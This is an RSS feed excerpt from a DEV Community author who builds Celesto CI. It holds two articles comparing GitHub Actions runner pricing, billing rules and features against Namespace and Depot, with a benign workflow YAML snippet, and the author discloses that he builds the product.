<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Aniket Maurya</title>
    <description>The latest articles on DEV Community by Aniket Maurya (@aniketmaurya).</description>
    <link>https://dev.to/aniketmaurya</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg</url>
      <title>DEV Community: Aniket Maurya</title>
      <link>https://dev.to/aniketmaurya</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aniketmaurya"/>
    <language>en</language>
    <item>
      <title>Namespace vs Celesto CI: GitHub Actions runner pricing</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 18 Nov 2026 11:21:10 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/namespace-vs-celesto-ci-github-actions-runner-pricing-2kkl</link>
      <guid>https://dev.to/aniketmaurya/namespace-vs-celesto-ci-github-actions-runner-pricing-2kkl</guid>
      <description>&lt;p&gt;I build &lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Celesto CI&lt;/a&gt;. If you're comparing it with Namespace, start with two questions: which platforms do you need, and what does a minute of your actual runner configuration cost?&lt;/p&gt;

&lt;p&gt;Namespace offers a broader compute and build platform, including Linux, Windows and macOS runners. Celesto focuses on Ubuntu Linux x64 CI with a lower published runtime rate. Both let you keep GitHub Actions.&lt;/p&gt;

&lt;p&gt;For Linux x64 with 2 vCPU and 8 GB RAM, Namespace lists $0.006 per minute at its overage rate, versus Celesto's $0.00066667. Celesto's rate is about 89% lower. Namespace also offers a lower prepaid rate, so that is not the whole comparison.&lt;/p&gt;

&lt;p&gt;Prices and documentation checked November 18, 2026. All prices are USD. This compares listed CPU and RAM, not identical physical hardware or measured cost per build.&lt;/p&gt;

&lt;h2&gt;
  
  
  The quick comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Namespace&lt;/th&gt;
&lt;th&gt;Celesto CI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Linux, 2 vCPU / 8 GB&lt;/td&gt;
&lt;td&gt;$0.006/min overage; $0.004/min effective prepaid&lt;/td&gt;
&lt;td&gt;$0.00066667/min, &lt;code&gt;celesto-memory&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux, 4 vCPU / 16 GB&lt;/td&gt;
&lt;td&gt;$0.012/min overage; $0.008/min effective prepaid&lt;/td&gt;
&lt;td&gt;$0.00133333/min, &lt;code&gt;celesto-large&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux, 8 vCPU / 32 GB&lt;/td&gt;
&lt;td&gt;$0.024/min overage; $0.016/min effective prepaid&lt;/td&gt;
&lt;td&gt;$0.00266667/min, &lt;code&gt;celesto-xl&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monthly plan&lt;/td&gt;
&lt;td&gt;Developer $0, usage billed separately; Team $100; Business $250&lt;/td&gt;
&lt;td&gt;No recurring CI platform subscription; runtime uses workspace credit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Included compute&lt;/td&gt;
&lt;td&gt;Team: 100,000 unit minutes; Business: 250,000, shared across CI and remote builds&lt;/td&gt;
&lt;td&gt;No recurring included-minute allowance advertised; one-time Micro trial&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platforms&lt;/td&gt;
&lt;td&gt;Linux x64 and ARM64, macOS; Windows on eligible paid plans&lt;/td&gt;
&lt;td&gt;Ubuntu 24.04 Linux x64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Setup&lt;/td&gt;
&lt;td&gt;Connect GitHub organization, create runner profile, change &lt;code&gt;runs-on&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Install GitHub App, finish workspace setup, choose a runner label&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Sources: &lt;a href="https://namespace.so/pricing" rel="noopener noreferrer"&gt;Namespace pricing&lt;/a&gt;, &lt;a href="https://namespace.so/docs/solutions/github-actions" rel="noopener noreferrer"&gt;Namespace runner setup&lt;/a&gt;, &lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Celesto pricing and setup&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Namespace unit minutes are not job minutes
&lt;/h2&gt;

&lt;p&gt;This is the detail worth checking before comparing bills.&lt;/p&gt;

&lt;p&gt;Namespace prices compute in unit minutes. For Linux, the standard unit is 1 vCPU with 2 GB RAM for one minute. If you choose more memory, the larger resource requirement determines the unit count:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;units = max(vCPU, RAM in GB / 2)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A 2-vCPU / 8-GB runner therefore consumes &lt;strong&gt;4 unit minutes per running minute&lt;/strong&gt;, not 2. Its published rate is $0.006/minute at the overage rate, or an effective $0.004/minute from prepaid units.&lt;/p&gt;

&lt;p&gt;That also means Team's 100,000 included unit minutes cover 25,000 running minutes on this shape, if all those units go to these CI jobs. They do not cover 100,000 running minutes. Remote build usage draws from the same compute allowance.&lt;/p&gt;

&lt;p&gt;Namespace's $0 Developer plan matters too. You do not need a $100 monthly subscription just to use Namespace runners.&lt;/p&gt;

&lt;h2&gt;
  
  
  What 10,000 Linux runner minutes cost
&lt;/h2&gt;

&lt;p&gt;For the same listed 2-vCPU / 8-GB configuration:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Monthly running minutes&lt;/th&gt;
&lt;th&gt;Celesto Memory&lt;/th&gt;
&lt;th&gt;Namespace pay-per-use rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2,000&lt;/td&gt;
&lt;td&gt;$1.33&lt;/td&gt;
&lt;td&gt;$12.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;$6.67&lt;/td&gt;
&lt;td&gt;$60.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25,000&lt;/td&gt;
&lt;td&gt;$16.67&lt;/td&gt;
&lt;td&gt;$150.00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These are runtime calculations, not invoice quotes. They assume equal billable runtime and exclude tax, storage, remote builds, credits, discounts and billing rounding.&lt;/p&gt;

&lt;p&gt;At 25,000 minutes, Namespace Team is also worth considering: its $100 monthly fee includes enough units for that amount of compute on this shape, assuming no units are used elsewhere. That is lower than paying $150 at the overage rate. Team also includes other platform benefits, which may have value to your team.&lt;/p&gt;

&lt;p&gt;Celesto's rate is about 83% below Namespace's effective prepaid rate on this shape. The comparison is not only against the higher overage rate.&lt;/p&gt;

&lt;p&gt;One more billing detail: Namespace has a one-minute minimum and documents partial-minute rounding. Celesto includes runner preparation and cleanup in billed runtime; queue time before the machine starts is free. Do not turn test-step duration alone into a claimed bill.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check what else is on the bill
&lt;/h2&gt;

&lt;p&gt;Namespace documents remote Docker builders enabled by default on its runners. Its migration guide also calls out workflow changes, including removing &lt;code&gt;docker/setup-buildx-action&lt;/code&gt; when using that configuration. Check this before treating a migration as nothing more than a runner-label change.&lt;/p&gt;

&lt;p&gt;Celesto supports Docker Engine, Buildx, Compose and GitHub service containers. Its GitHub Actions cache has no separate storage charge within the documented allowance: 25 GiB per paid or promotional-credit repository, or 5 GiB on the trial. Entries expire after seven idle days. Docker layers can use BuildKit's &lt;code&gt;type=gha&lt;/code&gt; cache within the same allowance.&lt;/p&gt;

&lt;p&gt;Count remote build charges and storage alongside runner compute when those features are used. A rate-only comparison does not include those costs or establish which provider has the lower bill for your workload.&lt;/p&gt;

&lt;h2&gt;
  
  
  When I would pick each
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pick Namespace&lt;/strong&gt; if you need a wider platform mix, including macOS, Windows or ARM, or want to evaluate its remote builders and broader compute platform alongside CI. Check plan eligibility, concurrency and storage costs for your setup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Try Celesto&lt;/strong&gt; if your workflows run on Linux x64 and your main goal is lowering the cost of repeated checks. At the listed configurations above, the runtime rate leaves more room for frequent builds without adding a monthly CI subscription.&lt;/p&gt;

&lt;p&gt;For Celesto's 2-vCPU / 8-GB runner, use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;celesto-memory&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/setup-node@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;node-version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'22'&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install the GitHub App and finish setup first. Memory uses workspace credit. Celesto's one-time $5 trial is Micro-only and expires after 30 days; it does not fund the Memory runner in this example.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Namespace offers a broader platform. Celesto has a lower published Linux runtime rate at these listed CPU and RAM sizes, including against Namespace's effective prepaid rate. A lower rate alone does not guarantee a lower cost per completed build: duration, billing rules, plan allowances and other services still matter.&lt;/p&gt;

&lt;p&gt;Check the actual charges for a workflow you already run, including full billable duration and any storage or remote-build costs. Compare the total with the plan you would actually use, rather than choosing from a single headline rate.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Try Celesto CI&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>cicd</category>
      <category>devops</category>
      <category>githubactions</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>Depot vs Celesto CI: what are you paying for?</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 15 Nov 2026 23:11:13 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/depot-vs-celesto-ci-what-are-you-paying-for-4mnb</link>
      <guid>https://dev.to/aniketmaurya/depot-vs-celesto-ci-what-are-you-paying-for-4mnb</guid>
      <description>&lt;p&gt;I build &lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Celesto CI&lt;/a&gt;. Depot and Celesto both let you keep GitHub Actions while moving jobs to managed runners. The difference is what you want to buy: Depot offers a broader build platform, larger machines and more operating systems. Celesto offers a much lower Linux runtime rate without a monthly CI subscription.&lt;/p&gt;

&lt;p&gt;At 2 vCPU and 8 GB RAM, Depot lists $0.006/minute for additional Linux usage. Celesto Memory lists about $0.000667/minute. That is roughly 89% less per running minute, or about nine times the runtime per dollar before allowances. It is not a claim that Celesto finishes builds nine times faster.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz3l4yxnle2xebpen0eoi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz3l4yxnle2xebpen0eoi.png" alt="Celesto vs Depot: list rate per runtime minute at 2 vCPU / 8 GB RAM, $60.00 vs $6.67 for 10,000 minutes" width="800" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This comparison covers &lt;strong&gt;Depot's GitHub Actions runners&lt;/strong&gt;, not its separate Depot CI product. Prices and documentation were checked on November 15, 2026. All prices are USD.&lt;/p&gt;

&lt;h2&gt;
  
  
  Comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Depot GitHub Actions runners&lt;/th&gt;
&lt;th&gt;Celesto CI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Linux x64, 2 vCPU / 8 GB&lt;/td&gt;
&lt;td&gt;$0.006/min additional usage&lt;/td&gt;
&lt;td&gt;$0.00066667/min, &lt;code&gt;celesto-memory&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux x64, 4 vCPU / 16 GB&lt;/td&gt;
&lt;td&gt;$0.012/min additional usage&lt;/td&gt;
&lt;td&gt;$0.00133333/min, &lt;code&gt;celesto-large&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux x64, 8 vCPU / 32 GB&lt;/td&gt;
&lt;td&gt;$0.024/min additional usage&lt;/td&gt;
&lt;td&gt;$0.00266667/min, &lt;code&gt;celesto-xl&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monthly plan&lt;/td&gt;
&lt;td&gt;Developer $20; Startup $200; Business custom&lt;/td&gt;
&lt;td&gt;No recurring CI platform subscription; runtime uses workspace credit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Included usage and trial&lt;/td&gt;
&lt;td&gt;Developer includes 2,000 base runner minutes/month; Startup 20,000. Seven-day trial advertised&lt;/td&gt;
&lt;td&gt;One-time $5 Micro trial, up to 20,000 minutes, expires after 30 days; not a recurring allowance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CPU range&lt;/td&gt;
&lt;td&gt;2 to 64 vCPU on Linux&lt;/td&gt;
&lt;td&gt;1 to 8 vCPU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platforms&lt;/td&gt;
&lt;td&gt;Linux x64 and ARM, Windows, macOS&lt;/td&gt;
&lt;td&gt;Ubuntu 24.04 Linux x64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local disk at 2 vCPU / 8 GB&lt;/td&gt;
&lt;td&gt;100 GB, with a 2 GB memory-backed disk accelerator&lt;/td&gt;
&lt;td&gt;40 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependency cache&lt;/td&gt;
&lt;td&gt;25 GB shared cache/registry storage on Developer; 250 GB on Startup; $0.20/GB-month additional storage&lt;/td&gt;
&lt;td&gt;Default 25 GiB per paid repository and 100 GiB per paid workspace, no separate cache storage charge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Local builds plus a separately priced remote container-build product&lt;/td&gt;
&lt;td&gt;Docker Engine, Buildx, Compose, service containers and &lt;code&gt;type=gha&lt;/code&gt; layer caching&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Repository ownership&lt;/td&gt;
&lt;td&gt;GitHub organization required for this runner product&lt;/td&gt;
&lt;td&gt;Personal accounts and organizations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Migration&lt;/td&gt;
&lt;td&gt;Connect Depot, then change &lt;code&gt;runs-on&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Install the GitHub App, link a funded workspace, then change &lt;code&gt;runs-on&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Sources: &lt;a href="https://depot.dev/docs/github-actions/runner-types" rel="noopener noreferrer"&gt;Depot runner specifications&lt;/a&gt;, &lt;a href="https://depot.dev/pricing" rel="noopener noreferrer"&gt;Depot pricing&lt;/a&gt;, &lt;a href="https://depot.dev/docs/github-actions/overview" rel="noopener noreferrer"&gt;Depot runner overview&lt;/a&gt;, &lt;a href="https://celesto.ai/docs/ci" rel="noopener noreferrer"&gt;Celesto setup and sizes&lt;/a&gt;, &lt;a href="https://celesto.ai/docs/ci/caching.md" rel="noopener noreferrer"&gt;Celesto caching&lt;/a&gt; and &lt;a href="https://celesto.ai/docs/ci/docker.md" rel="noopener noreferrer"&gt;Docker support&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The CPU and RAM match in the price rows. The machines do not: disk capacity, physical processors, storage and software images differ.&lt;/p&gt;

&lt;h2&gt;
  
  
  Speed: compare the workflow, not two marketing numbers
&lt;/h2&gt;

&lt;p&gt;Depot advertises runners up to 3x faster and caching up to 10x faster than GitHub-hosted runners. Those are &lt;a href="https://depot.dev/docs/github-actions/overview" rel="noopener noreferrer"&gt;Depot's claims against GitHub&lt;/a&gt;, not measurements against Celesto.&lt;/p&gt;

&lt;p&gt;Celesto publishes &lt;a href="https://github.com/CelestoAI/ci-benchmarks" rel="noopener noreferrer"&gt;open workflows, results and source runs&lt;/a&gt;. Its &lt;a href="https://github.com/CelestoAI/ci-benchmarks/blob/main/results/2026-11-14-latest-run/README.md" rel="noopener noreferrer"&gt;November 14 provider snapshot&lt;/a&gt;, including a November 15 Docker rerun, does not contain Depot. It cannot settle which of these two providers is faster.&lt;/p&gt;

&lt;p&gt;There is still a useful buying question: how much time must a higher-priced runner save to justify its rate?&lt;/p&gt;

&lt;p&gt;At the matched 2-vCPU / 8-GB list rates, Depot would need roughly one-ninth of Celesto's billable runtime to reach the same compute charge, before plan fees and allowances. A 2x speedup alone would not offset a roughly 9x rate. That is arithmetic, not a benchmark prediction.&lt;/p&gt;

&lt;p&gt;For an actual test, run the same commit several times on both. Keep CPU, RAM and architecture aligned. Separate cold builds from warm-cache runs. Measure queue wait, preparation, dependency restoration, build, tests and cleanup. If a Depot remote builder does some of the work, record its bill too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cost: include the plan, then subtract its minutes
&lt;/h2&gt;

&lt;p&gt;The per-minute gap matters most when CI runs all day. Coding agents can increase that volume: more pushes mean more chances to run the same checks.&lt;/p&gt;

&lt;p&gt;Here is a Linux-only illustration at 2 vCPU / 8 GB. It assumes equal billable runtime and excludes tax, storage overages, remote builders, discounts, trial credit and billing rounding.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Monthly runtime&lt;/th&gt;
&lt;th&gt;Celesto Memory&lt;/th&gt;
&lt;th&gt;Depot Developer, including its 2,000 minutes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2,000 minutes&lt;/td&gt;
&lt;td&gt;$1.33&lt;/td&gt;
&lt;td&gt;$20.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10,000 minutes&lt;/td&gt;
&lt;td&gt;$6.67&lt;/td&gt;
&lt;td&gt;$68.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100,000 minutes&lt;/td&gt;
&lt;td&gt;$66.67&lt;/td&gt;
&lt;td&gt;$608.00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Celesto is runtime multiplied by $0.00066667. Depot is $20 plus $0.006 for each minute above 2,000. This is the one-user Developer plan, not a quote for a multi-user team. Depot's Startup plan costs $200 and includes 20,000 base runner minutes, unlimited users and other platform usage. Larger runners consume included minutes through multipliers.&lt;/p&gt;

&lt;p&gt;Do not add a plan fee and then charge all the minutes again. Equally, do not ignore the plan fee when evaluating a new subscription.&lt;/p&gt;

&lt;p&gt;An existing Depot subscription changes the decision. If you already pay for its other products and have unused included runner minutes, those jobs may add no runner charge. Moving them to Celesto would create new spend rather than remove an existing bill. The table is a new-subscription comparison, not everyone's marginal cost.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://depot.dev/docs/github-actions/overview" rel="noopener noreferrer"&gt;Depot tracks usage by the second&lt;/a&gt;, with no one-minute minimum, and totals minutes at the end of the billing period. &lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Celesto bills computer runtime&lt;/a&gt;, including preparation and cleanup, but not queue time before the computer starts. Compare the actual meters rather than treating the duration of a test command as the whole bill.&lt;/p&gt;

&lt;h2&gt;
  
  
  Caching and Docker: different packages
&lt;/h2&gt;

&lt;p&gt;Both support caching without replacing compatible &lt;code&gt;actions/cache&lt;/code&gt; steps. Celesto also supports setup-action caching such as &lt;code&gt;setup-node&lt;/code&gt; and &lt;code&gt;setup-python&lt;/code&gt;. Its paid cache allowance is per repository, with a workspace cap; Depot's plan allowance combines cache and registry storage. Those are different units of packaging.&lt;/p&gt;

&lt;p&gt;Cache scope differs too. &lt;a href="https://celesto.ai/docs/ci/caching.md" rel="noopener noreferrer"&gt;Celesto uses repository and Git-ref permissions&lt;/a&gt;, including authorized default-branch restoration. &lt;a href="https://depot.dev/docs/github-actions/overview" rel="noopener noreferrer"&gt;Depot shares a repository's cache namespace across branches&lt;/a&gt;, with isolation controlled through cache keys. Check that behavior before migrating workflows that run untrusted contributions.&lt;/p&gt;

&lt;p&gt;Depot's remote container builders are a real reason to choose its platform. They run alongside its runners and have their own pricing and included usage. Celesto's runner includes Docker, Buildx and Compose, and can persist build layers through &lt;code&gt;type=gha&lt;/code&gt;. That does not make it the same product as a remote builder with a dedicated cache.&lt;/p&gt;

&lt;p&gt;Celesto's Docker documentation verifies image builds, Compose, service containers and layer caching. Docker-based actions and whole-job &lt;code&gt;container:&lt;/code&gt; configurations need validation for your chosen workflow. Fresh runners also mean the local Docker image store does not persist between jobs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reliability: isolation is not an uptime result
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://depot.dev/docs/github-actions/overview" rel="noopener noreferrer"&gt;Depot describes fresh, single-tenant EC2 instances&lt;/a&gt; that terminate after a job. &lt;a href="https://celesto.ai/docs/ci/security.md" rel="noopener noreferrer"&gt;Celesto uses single-job JIT runners in fresh microVMs&lt;/a&gt;, deleted after the job. Both avoid carrying the previous job's local filesystem into the next one.&lt;/p&gt;

&lt;p&gt;That tells you about isolation, not long-run availability. There is no head-to-head reliability study in the evidence used here.&lt;/p&gt;

&lt;p&gt;Depot advertises unlimited concurrency, but explicitly warns that macOS capacity is not fully elastic and can queue during high demand. Celesto concurrency depends on workspace limits, credit and available capacity. Test the burst of jobs your repository actually produces, not only one successful run.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to choose Depot
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;You need ARM, Windows, macOS, or more than 8 vCPU in a job.&lt;/li&gt;
&lt;li&gt;Your builds need more local disk than Celesto's matched size provides.&lt;/li&gt;
&lt;li&gt;Depot's remote builders and cache platform save enough end-to-end time to justify the total bill.&lt;/li&gt;
&lt;li&gt;You already use the platform and can consume included runner minutes without adding spend.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When to choose Celesto
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Most of your CI is Linux x64 and fits within 8 vCPU / 32 GB RAM.&lt;/li&gt;
&lt;li&gt;You want a lower running rate without adding a monthly CI subscription.&lt;/li&gt;
&lt;li&gt;You have frequent checks, agent-generated pushes or many repositories where small per-run costs accumulate.&lt;/li&gt;
&lt;li&gt;Your repositories include personal GitHub accounts, which Depot's GitHub Actions runner product does not support.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Switching: match the size before changing the label
&lt;/h2&gt;

&lt;p&gt;Install the &lt;a href="https://github.com/marketplace/celesto-ci" rel="noopener noreferrer"&gt;Celesto CI GitHub App&lt;/a&gt;, select your repositories and finish workspace setup. Use eligible paid or promotional credit for Memory or Large. The $5 trial is Micro-only.&lt;/p&gt;

&lt;p&gt;For a Depot 2-vCPU / 8-GB job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; jobs:
   test:
&lt;span class="gd"&gt;-    runs-on: depot-ubuntu-24.04&lt;/span&gt;
&lt;span class="gi"&gt;+    runs-on: celesto-memory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a 4-vCPU / 16-GB job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;-    runs-on: depot-ubuntu-24.04-4&lt;/span&gt;
&lt;span class="gi"&gt;+    runs-on: celesto-large&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do not substitute bare &lt;code&gt;celesto&lt;/code&gt; for a size-matched test: it selects Micro, with 1 vCPU and 2 GB RAM.&lt;/p&gt;

&lt;p&gt;Keep compatible steps, but check tool versions. Celesto's image is not GitHub's hosted image. Caches live in a separate service, so expect the first run to start cold. Move one job first; GitHub lets different jobs in the same workflow use different runners.&lt;/p&gt;

&lt;h2&gt;
  
  
  The verdict
&lt;/h2&gt;

&lt;p&gt;Depot is worth paying for when its broader platform or a faster complete workflow earns the premium. Celesto is the stronger starting point when the requirement is straightforward: keep GitHub Actions, run Linux checks, and reduce recurring compute spend.&lt;/p&gt;

&lt;p&gt;The published rates put Celesto about 89% below Depot's additional Linux runtime rate at matched CPU and RAM. That is a substantial margin without needing to claim an unmeasured speed win. Test one representative workflow, include the allowances you actually use, and compare the bill alongside the wait for a green check.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Is Celesto cheaper than Depot?
&lt;/h3&gt;

&lt;p&gt;Per Linux runtime minute at the matched sizes above, yes: roughly 89% less. Your total depends on runtime, Depot's plan and included minutes, other platform usage, storage and discounts. Unused minutes in a subscription you already pay for can change the marginal-cost answer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is Celesto faster than Depot?
&lt;/h3&gt;

&lt;p&gt;This article does not establish that. The cited Celesto provider snapshot does not include Depot, and Depot's GitHub comparisons do not answer a Celesto comparison.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I move only some jobs?
&lt;/h3&gt;

&lt;p&gt;Yes. Select runners per job. Keep platform-specific or remote-builder-dependent jobs on Depot while testing compatible Linux jobs on Celesto. Any retained Depot subscription or remote-builder usage still has its own cost.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does Celesto's free trial cover the matched 2-vCPU / 8-GB runner?
&lt;/h3&gt;

&lt;p&gt;No. The one-time $5 trial covers Micro, expires after 30 days and is shared with sandbox usage. Memory and larger sizes need eligible workspace credit.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Get started:&lt;/strong&gt; &lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Try Celesto CI&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cicd</category>
      <category>devops</category>
      <category>githubactions</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>Blacksmith vs GitHub Actions vs Celesto CI: what the benchmarks say</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 15 Nov 2026 10:54:56 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/blacksmith-vs-github-actions-vs-celesto-ci-what-the-benchmarks-say-5fcb</link>
      <guid>https://dev.to/aniketmaurya/blacksmith-vs-github-actions-vs-celesto-ci-what-the-benchmarks-say-5fcb</guid>
